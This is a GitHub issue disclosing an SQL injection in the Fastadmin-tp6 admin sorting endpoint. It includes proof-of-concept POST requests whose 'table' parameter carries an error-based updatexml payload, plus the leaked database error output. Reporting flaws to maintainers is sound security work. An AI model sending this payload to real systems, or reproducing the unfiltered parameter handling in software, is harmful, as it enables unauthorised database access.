

New issue

Jump to bottom

# Fastadmin-tp6 SQL injection #2

Open 0xzmz opened this issue on Dec 29, 2019 · 0 comments

0xzmz commented on Dec 29, 2019

When a user with administrator rights has logged in the background, SQL injection can be performed during sorting by constructing malicious data.  
In file app/admin/controller/Ajax.php line 145,the 'table' parameter passed in here is not filtered,so we can pass a malicious parameter for SQL injection.  
POC:

```
POST /admin/ajax/weigh HTTP/1.1
Host: ***.***
Connection: close
Content-Length: 122
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
```

```
ids=1&changeid=88pid=3&field=weigh&orderway=desc&table=user_rule where if(1=2,1,updatexml(1,concat(0x7e,user()),0x7e),1))--
```

Example:

```
POST /admin/ajax/weigh HTTP/1.1
Host: ***.***
Connection: close
Content-Length: 169
Accept: application/json, text/javascript, */*; q=0.01
Origin: ***.***
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: ***.***
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookies: ***.***
ids=2%2C4%2C11%2C10%2C9%2C12%2C1%2C3%2C7%2C6%2C8%2C5&changeid=88pid=3&field=weigh&orderway=desc&table=user_rule where if(1=2,1,updatexml(1,concat(0x7e,user()),0x7e),1))--
```

Exception Datas

PDO Error Info

SQLSTATE	HY000
Driver Error Code	1105
Driver Error Message	XPATh syntax error: "0x_@localhost"

Database Status

Error Code	10501
Error Message	SQLSTATE[HY000]: General error: 1105 XPATh syntax error: "0x_@localhost"
Error SQL	SELECT 'id','pid' FROM fa_user_rule where if(1=2,1,updatexml(1,concat(0x7e,user()),0x7e),1))-- WHERE 'id' IN ('2','4','11','10','9','12','1','3','7','6','8','5') AND 'pid' IN ('3')

Database Config

type	mysql
hostname	127.0.0.1
database	
hostport	
dsn	
params	[]
charset	utf8
prefix	fa_
debug	true
deploy	0

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

1 participant

